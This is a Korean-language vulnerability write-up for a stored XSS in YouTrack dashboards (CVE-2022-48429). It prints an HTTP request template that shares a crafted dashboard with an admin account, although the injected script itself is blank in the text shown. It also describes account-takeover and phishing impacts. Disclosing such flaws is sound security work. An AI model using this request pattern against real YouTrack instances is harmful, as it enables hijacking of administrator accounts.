
PoC for CVE-2022-48429 - Youtrack 저장형 XSS
NVD 데이터베이스의 CVE 설명은 정확하지 않습니다. 다음은 더 정확한 설명입니다:
Youtrack (버전 <= 2022.3.65373)에는 대시보드에 저장형 크로스 사이트 스크립팅(XSS) 취약점이 있습니다. 악의적인 낮은 권한의 사용자가 변조된 대시보드를 생성하여 다른 사용자(예: 관리자)에게 공유할 수 있습니다. 이로 인해 관리자 계정 탈취가 발생할 수 있습니다.
Original author: echo-devim
Youtrack 버전 2022.3.65373에서 보안 문제를 조사하던 중 대시보드에서 XSS를 발견했습니다.
권한이 없는 사용자는 주입된 자바스크립트가 포함된 악성 위젯으로 새 대시보드를 생성할 수 있습니다. 이 대시보드는 관리자와 같은 다른 사용자에게 악성 코드를 전송하여 공유할 수 있습니다.
이 XSS는 지정된 사용자만을 대상으로 할 수 있으며, 피해자가 악성 대시보드를 열도록 속이는 것이 매우 쉽습니다. 실제로 새 대시보드는 피해자의 홈페이지에 알림으로 표시됩니다. 이 취약점은 버전 2021.4.38425부터 존재하는 것을 확인했지만, 더 이전 버전에도 있을 수 있습니다.
취약한 매개변수는 사용자가 새 위젯을 추가할 때의 'directive'입니다.
XSS를 주입하는 악성 요청 예시:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
그런 다음 페이지를 새로고침하면 XSS가 실행됩니다:

이 XSS를 통해 낮은 권한의 사용자가 가짜 로그인 폼을 통한 피싱, 사용자 브라우저 리디렉션, 심지어 관리자 작업 수행까지 가능할 수 있습니다.
더 나쁜 점은 플랫폼에서 사용자 등록이 활성화된 경우, 외부 공격자가 새 사용자를 등록하고 공격을 수행할 수 있다는 것입니다.
개념 증명(PoC)으로 낮은 권한의 테스트 사용자를 이용하여 관리자 계정의 전체 이름을 변경했습니다.
PoC 코드:
이 애니메이션 GIF는 효과를 보여줍니다. 왼쪽 창은 권한이 없는 사용자의 페이지이고 오른쪽 창은 관리자입니다.
